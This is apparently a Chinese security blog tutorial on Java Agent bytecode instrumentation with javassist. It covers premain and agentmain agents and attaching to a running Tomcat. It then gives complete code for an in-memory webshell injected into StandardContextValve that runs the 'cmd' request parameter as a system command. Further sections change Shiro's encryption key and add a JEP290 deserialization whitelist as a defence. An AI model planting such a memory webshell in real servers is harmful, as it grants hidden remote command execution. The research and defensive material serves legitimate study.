javaagent
Java Agent
是jdk1.5
以后可以在运行时hook
字节码的技术。
实现方式
Java Agent
有两种实现方式:
- 实现
premain
方法,通过-javaagent
参数指定agent
,可以在JVM启动前修改字节码。 - 实现
agentmain
方法,通过VirtualMachine.attach()
将agent附加在启动后的JVM进程中,从而动态地修改字节码。
premain
和agentmain
方法有以下几种函数声明,其中有Instrumentation inst
参数的优先级更高:
1
2
3
4
| public static void agentmain(String agentArgs, Instrumentation inst)
public static void agentmain(String agentArgs)
public static void premain(String agentArgs, Instrumentation inst)
public static void premain(String agentArgs)
|
Instrumentation
是java.lang.instrument
包下面的一个接口,可用于监控和扩展JVM上运行的应用程序:
addTransformer/removeTransformer
添加或删除ClassFileTransformer
getAllLoadedClasses
获取所有JVM加载的类redefineClasses
重新定义已经加载类的字节码setNativeMethodPrefix
动态设置JNI
前缀,可以实现Hook nativ
方法。retransformClasses
重新加载已经被JVM加载过的类的字节码
ClassFileTransformer
是一个转换器,它有一个transform
方法,返回的是转换后的字节码。
premain
实现premain需要做几件事:
- 创建一个实现了
premain
方法的类 - 在
MANIFEST.MF
文件中通过Premain-Class
指定类名 - 将项目打包为Jar包
例如我现在在tomcat中定义了一个Servlet,而我现在想通过Java Agent
修改这个Servlet
中的service()
函数的运行逻辑:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| package org.e4stjun.servlets;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@WebServlet("/agent")
public class AgentServlet extends HttpServlet {
String data = "1234";
@Override
protected void service(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
resp.getWriter().write(this.data);
}
}
|
我现在需要在我的另一个Project中创建一个PremainTest
类:
1
2
3
4
5
6
7
8
9
10
11
12
| package org.agents;
import org.agents.Transformers.ServletTransformer;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
public class PremainTest {
public static void premain(String agentArgs, Instrumentation instrumentation){
ClassFileTransformer transformer = new ServletTransformer();
instrumentation.addTransformer(transformer,true);
}
}
|
这个类得要实现premain
方法:
1
2
3
4
5
6
7
8
9
10
11
12
| package org.agents;
import org.agents.Transformers.ServletTransformer;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
public class PremainTest {
public static void premain(String agentArgs, Instrumentation instrumentation){
ClassFileTransformer transformer = new ServletTransformer();
instrumentation.addTransformer(transformer,true);
}
}
|
transform
中找到我定义的AgentServlet
类,获取到这个类的service
方法并使用javassist
对其进行修改,在这个函数前面加上一句data = "e4stjun"
的语句去修改AgentServlet
中的data
属性:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| package org.agents.Transformers;
import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class ServletTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if(className.equals("org/e4stjun/servlets/AgentServlet")){
try{
ClassPool pool = new ClassPool(true);
pool.appendClassPath(new LoaderClassPath(loader));
CtClass clazz = pool.getCtClass("org.e4stjun.servlets.AgentServlet");
clazz.defrost();
System.out.println(className);
CtClass req = pool.getCtClass("javax.servlet.http.HttpServletRequest");
CtClass resp = pool.getCtClass("javax.servlet.http.HttpServletResponse");
CtMethod method = clazz.getDeclaredMethod("service",new CtClass[]{req,resp});
method.insertBefore("{$0.data = \"e4stjun\";}");
return clazz.toBytecode();
}catch (Exception e){
e.printStackTrace();
}
}
return new byte[0];
}
}
|
然后MANIFEST.MF
文件中要加上这些内容,
1
2
3
| Premain-Class: org.agents.PremainTest
Can-Redefine-Classes: true
Can-Retransform-Classes: true
|
我这里用maven
的assembly
打包插件实现这个步骤:
1
2
3
4
5
6
7
8
9
| <configuration>
<archive>
<manifestEntries>
<Premain-Class>org.agents.PremainTest</Premain-Class>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
</manifestEntries>
</archive>
</configuration>
|
然后使用mvn package
打一个带有所有依赖的jar包,具体操作方式可以参考一下之前这篇Maven打包相关的文章
在启动tomcat
时再给JDK加上-javaagent:/path/to/agent.jar
参数:
然后再访问/agent
这个路径的时候就会发现data变量已经被修改了:
agentmain
使用agentmain
可以在JDK启动后再动态修改class
,也主要是这几个步骤:
- 创建一个实现了
agentmain
方法的类 - 在
MANIFEST.MF
文件中通过Agent-Class
指定类名 - 将项目打包为Jar包
不过要使用这个Agent
肯定不能再用-javaagent
参数了,得要用VirtualMachine
和VirtualMachineDescriptor
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| package org.agents;
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;
public class Main {
public static void main(String[] args) throws Exception{
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor vmd : list) {
if (vmd.displayName().startsWith("org.apache.catalina.startup.Bootstrap")) {
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
virtualMachine.loadAgent("/path/to/agent.jar");;
//virtualMachine.loadAgent(new File(Main.class.getProtectionDomain().getCodeSource().getLocation().toURI()).getAbsolutePath());
virtualMachine.detach();
System.out.println("success");
}
}
}
}
|
这一段代码的主要逻辑就是遍历所有的虚拟机list,找到tomcat对应的虚拟机pid,向其中注册一个Agent
,之后tomcat对应的进程就会调用Agent
的agentmain
方法了。
不过这里有个坑就在于VirtualMachine
和VirtualMachineDescriptor
这两个类位于jdk
中的lib/tools.jar
这个包里面这个包在JDK启动时默认是不会加载的。关于如何加载这个tools.jar
,我目前主要有几个想法:
首先我尝试将tools.jar
这个包打包进Agent
的jar包里面,这样在用java -jar
运行这个jar包的时候就不用担心找不到依赖的问题了,但是之后发现这个tools.jar
不能跨平台使用,也就是我在Mac上打包的jar包跑到windows上运行是会报错的。如果用这种方法的话可能就需要每个平台都打包一遍了。
之后看其他师傅的文章分析很多都是找到tools.jar
的路径之后使用URLClassloader
去加载里面的类,然后用反射调用类里面的方法,兼容性比较好。
还有一个想法就是:使用agentmain
打Java Agent
一般是要落地才行的,可以试试直接在落地之后用java -jar
命令同时指定外部依赖包:
1
2
3
4
5
6
| java -Xbootclasspath/a:${JAVA_HOME}/lib/tools.jar -jar target/agent.jar
//使用Bootstrap Classloader加载
java -Djava.ext.dirs=${JAVA_HOME}/lib/ -jar target/agent.jar
//使用Extension Classloader加载目录下所有jar包
java -cp ${JAVA_HOME}/lib/tools.jar:target/agent.jar org.agents.Main
//java -cp命令
|
例如这是一段调用java命令加载加载Agent的代码:
1
2
3
4
| String java_bin = String.format("%s/bin/java",System.getProperty("java.home"));
String tools = String.format("-Djava.ext.dirs=%s/../lib",System.getProperty("java.home"));
String agent_path = "/path/to/agent.jar";
Runtime.getRuntime().exec(new String[]{java_bin,tools,"-jar",agent_path});
|
那接着如何构造一个这样子的jar包呢,其实也和premain
的方法差不多,首先有一个类实现agentmain()
方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| package org.agents;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import org.agents.Transformers.ServletTransformer;
public class AgentTest {
public static void agentmain(String agentArgs, Instrumentation instrumentation) {
Class[] allLoadedClasses = instrumentation.getAllLoadedClasses();
for (Class loadedClass : allLoadedClasses) {
if(loadedClass.getName().equals("org.testpackage.servlets.AgentServlet")){
System.out.println(loadedClass.getName());
try {
ClassFileTransformer transformer = new ServletTransformer();
instrumentation.addTransformer(transformer, true);
instrumentation.retransformClasses(loadedClass);
System.out.println("success");
instrumentation.removeTransformer(transformer);
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
}
|
然后用maven指定Agent-Class
,这样子在执行loadAgent
操作以后对应的进程就会找到这个AgentTest
类,调用它的premain
方法:
1
2
3
4
5
6
7
8
9
10
11
| <configuration>
<archive>
<manifestEntries>
<Agent-Class>org.agents.AgentTest</Agent-Class>
<Main-Class>org.agents.Main</Main-Class>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
<Can-Set-Native-Method-Prefix>true</Can-Set-Native-Method-Prefix>
</manifestEntries>
</archive>
</configuration>
|
接着这个agentmain()
方法就遍历所有已加载的类,找到AgentServlet
类,在执行retransformClasses()
方法的时候就会使用transform
重新加载AgentServlet
类的字节码。
而ServletTransformer
的代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| package org.agents.Transformers;
import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class ServletTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if(className.equals("org/e4stjun/servlets/AgentServlet")){
try{
ClassPool pool = new ClassPool(true);
pool.appendClassPath(new LoaderClassPath(loader));
CtClass clazz = pool.getCtClass("org.e4stjun.servlets.AgentServlet");
clazz.defrost();
System.out.println(className);
CtClass req = pool.getCtClass("javax.servlet.http.HttpServletRequest");
CtClass resp = pool.getCtClass("javax.servlet.http.HttpServletResponse");
CtMethod method = clazz.getDeclaredMethod("service",new CtClass[]{req,resp});
method.insertBefore("{java.lang.Runtime.getRuntime().exec(new String[]{\"open\",\"-a\",\"Calculator\"});}");
return clazz.toBytecode();
}catch (Exception e){
e.printStackTrace();
}
}
return new byte[0];
}
}
|
代码的主要逻辑也是找到对应的类,向方法前面加入弹计算器的代码。然后通过java -jar
去Attach到tomcat的进程,让他加载这个Agent
:
再访问/agent
就会出现计算器了:
agent型内存马
到这里我已经可以动态地修改字节码了,可以尝试向tomcat中注入内存马了,之后只需要在tomcat中找到一个在处理请求时一定会调用的类,向其中加入恶意代码,例如我使用的是org.apache.catalina.core.StandardContextValve
这个类:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
| package org.agents.Transformers;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.LoaderClassPath;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class MemshellTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if(className.equals("org/apache/catalina/core/StandardContextValve")){
try{
ClassPool pool = new ClassPool(true);
pool.appendClassPath(new LoaderClassPath(loader));
CtClass clazz = pool.getCtClass("org.apache.catalina.core.StandardContextValve");
clazz.defrost();
System.out.println(className);
CtClass req = pool.getCtClass("org.apache.catalina.connector.Request");
CtClass resp = pool.getCtClass("org.apache.catalina.connector.Response");
CtMethod method = clazz.getDeclaredMethod("invoke",new CtClass[]{req,resp});
method.insertBefore("{if ($1.getParameter(\"cmd\") != null) {java.io.InputStream in = java.lang.Runtime.getRuntime().exec($1.getParameter(\"cmd\")).getInputStream();java.util.Scanner s = new java.util.Scanner(in).useDelimiter(\"\\\\A\");String output = s.hasNext() ? s.next() : \"\";$2.getWriter().write(output);}}");
return clazz.toBytecode();
}catch (Exception e){
e.printStackTrace();
}
}
return new byte[0];
}
}
|
使用insertBefore()
向它的invoke
方法加入一段恶意代码完成内存马的注入:
修改shiro的key
在shiro中,这两个函数用于获取shiro的key:
那么实际上只要修改这两个函数的字节码就能达到修改shirokey的目的:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
| package org.agents.Transformers;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.LoaderClassPath;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class ShiroKeyTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if(className.equals("org/apache/shiro/mgt/AbstractRememberMeManager")){
try{
ClassPool pool = new ClassPool(true);
pool.appendClassPath(new LoaderClassPath(loader));
CtClass clazz = pool.getCtClass("org.apache.shiro.mgt.AbstractRememberMeManager");
clazz.defrost();
System.out.println(className);
CtMethod method = clazz.getDeclaredMethod("getEncryptionCipherKey");
CtMethod method1 = clazz.getDeclaredMethod("getDecryptionCipherKey");
String code = "{return java.util.Base64.getDecoder().decode(\"3JvYhmBLUs0ETA5Kprsdag==\");}";
method.insertBefore(code);
method1.insertBefore(code);
return clazz.toBytecode();
}catch (Exception e){
e.printStackTrace();
}
}
return new byte[0];
}
}
|
key被修改后再使用shiro_attack
进行爆破的效果如下:
使用JEP290防御shiro反序列化
先不考虑用户伪造的问题,理论上即使不修改shiro的key也可以防御住shiro反序列化,只要利用JEP290特性给ObjectInputStream
设置一个ObjectInputFilter
,只允许反序列化白名单中的类:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
| package org.agents.Transformers;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.LoaderClassPath;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class ShiroSerializerTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if (className.equals("org/apache/shiro/io/DefaultSerializer")) {
try {
ClassPool pool = new ClassPool(true);
pool.appendClassPath(new LoaderClassPath(loader));
CtClass clazz = pool.getCtClass("org.apache.shiro.io.DefaultSerializer");
clazz.defrost();
System.out.println(className);
CtMethod method = clazz.getDeclaredMethod("deserialize");
System.out.println(method);
String code = "{if ($1 == null) {\n" +
" String msg = \"argument cannot be null.\";\n" +
" throw new java.lang.IllegalArgumentException(msg);\n" +
" } else {\n" +
" java.io.ByteArrayInputStream bais = new java.io.ByteArrayInputStream($1);\n" +
" java.io.BufferedInputStream bis = new java.io.BufferedInputStream(bais);\n" +
"\n" +
" try {\n" +
" java.io.ObjectInputStream ois = new org.apache.shiro.io.ClassResolvingObjectInputStream(bis);\n" +
" sun.misc.ObjectInputFilter filter = sun.misc.ObjectInputFilter.Config.createFilter(\"org.apache.shiro.subject.*\");\n" +
" sun.misc.ObjectInputFilter.Config.setObjectInputFilter(ois,filter);\n" +
" java.lang.Object deserialized = ois.readObject();\n" +
" ois.close();\n" +
" return deserialized;\n" +
" } catch (Exception var6) {\n" +
" String msg = \"Unable to deserialze argument byte array.\";\n" +
" throw new org.apache.shiro.io.SerializationException(msg, var6);\n" +
" }\n" +
" }" +
"}";
method.setBody(code);
return clazz.toBytecode();
} catch (Exception e) {
e.printStackTrace();
}
}
return new byte[0];
}
}
|
再进行爆破就会出现有key无链了:
Referer
JavaAgent内存马研究
Java Agent 从入门到内存马